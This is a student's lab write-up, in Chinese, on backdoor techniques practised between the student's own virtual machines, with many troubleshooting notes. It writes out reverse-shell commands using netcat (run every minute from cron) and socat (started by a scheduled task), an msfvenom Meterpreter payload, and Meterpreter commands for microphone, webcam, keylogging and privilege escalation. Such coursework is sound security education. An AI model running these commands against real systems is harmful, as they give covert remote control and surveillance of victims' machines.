20175323 EXp2 后门原理与实践
1.1.基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 在未知网站下载不安全的软件,给漂亮妹妹借了u盘又插回自己电脑,下载了一些赏心悦目但暗藏杀机的图片
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- 加入注册表、开机自启动,伪装成一个计算器文件。。
(3)Meterpreter有哪些给你映像深刻的功能?
命令行不回显payload handler启动,害得我抓狂了将近一周
可以获取目标的shell还可以看它的摄像头耶~
(4)如何发现自己有系统有没有被安装后门?
全靠360和微软杀毒....
可以查看防火墙的一些不默认开启的端口有没有开启,找端口对应进程并抓包分析
牛逼的后门应该发现不了吧。。。
1.2.实验总结与体会
这一次实验我又是临近deadline才做完呢,唉,例行总结如下:
1.遇到运行不出的时候只能乱猜,因为对软件不熟悉,反正一旦偏离给定指令的结果就抓瞎
2.今天也是很菜的一天,我觉得我实验黑洞的名号可以做实了
3.老师不好意思,我的博客排版有点丑
2.实践过程记录
2.1.实验内容
(1).使用netcat获取主机操作Shell,cron启动
- crontab命令是cron table的简写,它是cron的配置文件,也可以叫它作业列表
我最开始用win10系统获取Linux的shell,然后下载了附件中的ncat压缩包并解压到win10桌面上 在win10中:cd .\Desktop\ncatncat.exe -l -p 5323
启动ncat监听5323端口后,在kali中的root模式下连接(这里先切换root方便cron的开启)nc 192.168.1.7 5323 -e /bin/sh

- 获取到shell权限后用pwd简单验证,用
/sbin/service cron start开启cron服务(cron要提前在linux里用apt-get安装) 然后用ps -e | grep "cron"查看是否开启成功

- 然后发现应该在两台虚拟机里面做,好吧重来,以及发现自己对实验题目的理解也错了,不是要启动cron,是用cron启动
哈哈哈哈
在kali里面发现ifconfig命令找不到,用export加入/usr/sbin到PATH退出后会失效,修改/etc/profile,添加export
PATH=$PATH:/usr/sbin可以永久有效 两台虚拟机改成桥接模式后可以ping通,


- 在crontab里面添加
* * * * * nc 192.168.1.14 5323 -e /bin/sh意思是每分钟执行
在win7里成功get shell

(2)使用socat获取主机操作Shell, 任务计划启动
- win7开启计划任务设置,反弹连接kali,用kali获得win7的shell
先解决指令的问题,kali自带socat,监听指令为socat - tcp-l:5323

- 在win7中用到的反弹连接的指令是
socat.exe tcp-connect:192.168.1.9:5323 exec:cmd.exe,pty,stderr


- 发现可以成功连接。然后尝试任务计划启动

- 设置启动条件为1分钟,kali开启监听之后等待,运行成功

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 生成可执行文件 用到指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.9 LPORT=5323 -f exe > 5323.exe

- 其中的LHOST设为kali的IP地址,-f指定生成文件类型exe 生成文件之后,用nc通过端口发送 win7先监听端口:

- kali发送文件:

- win7成功接收文件

- 我发现这个地方两台机器都没有自动退出,也不知道文件传输结束了没 kali:msfconsole启动

- 这部分出错了好几次,有双击后门程序没有反应连不上的,有程序没法运行的,最后就全是下面这种情况:

- 然后中间耽搁了好久,一直找不到原因,我觉得是我的win7虚拟机有问题,我打算重装win7,然后就又转移到主机上做。。。。 又报错

- 一查看LinuxIP居然是只有lo回环地址,重启kali。。。重试 但是还是跳不出来第二部分
Starting the payload handler啊啊啊啊我死了
网上有说通过外网连接,有说这就是在等待目标机连接(可是我双击后门没反应),有说换个低版本可以解决
然后我想起来每次启动msfconsole都会提示没有数据库支持

- 所以我又开启数据库
/etc/init.d/postgresql start还初始化数据库msfdb init,好吧重启msfconsole不提示这行错了,但是仍然不能开启payload handler

- 又尝试了很多次,再bing上面问过没有回答。。。(省略一万字的无语) 第n次生成后门,最后一次没有用nc直接拖拽到win10

成了

- 事实证明之前的状态确实是在等待反弹连接,而payload handler应该是有后台启动只是没有在命令行中显示
至于为什么,我不知道,我对天发誓指令没有错,端口和IP没错!,而且做到后面我都没有输入指令,直接翻前面输入的指令用
总之就是后门文件的问题,而我以为是metasploit的问题,因为没有出现老师和许多同学界面上的Starting the payload
handler,这也是我卡了这么多天的原因
后门连不上可能是因为nc传输文件的时候有遗漏(我的nc传文件一直不退出就卡着)但是之前也有试过拖拽也没成功的,也可能是因为我把电脑从卧室搬到了客厅(狗头)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 获取音频:
record_mic
![]()
- 获取视频:
webcam_snap
![]()
- 获取击键记录:输入
keyscan_start开始记录,输入keyscan_dump读取击键的记录
![]()
- 获取提权:输入
getuid查看当前用户,再输入getsystem进行提权
提权时报错
![]()
- 查网上说要造一个假冒用户,用这个用户提权
找到了这条命令run post/windows/escalate/getsystem但是
![]()
我不知道怎么办。。不想做了心累,有缘再见吧






浙公网安备 33010602011771号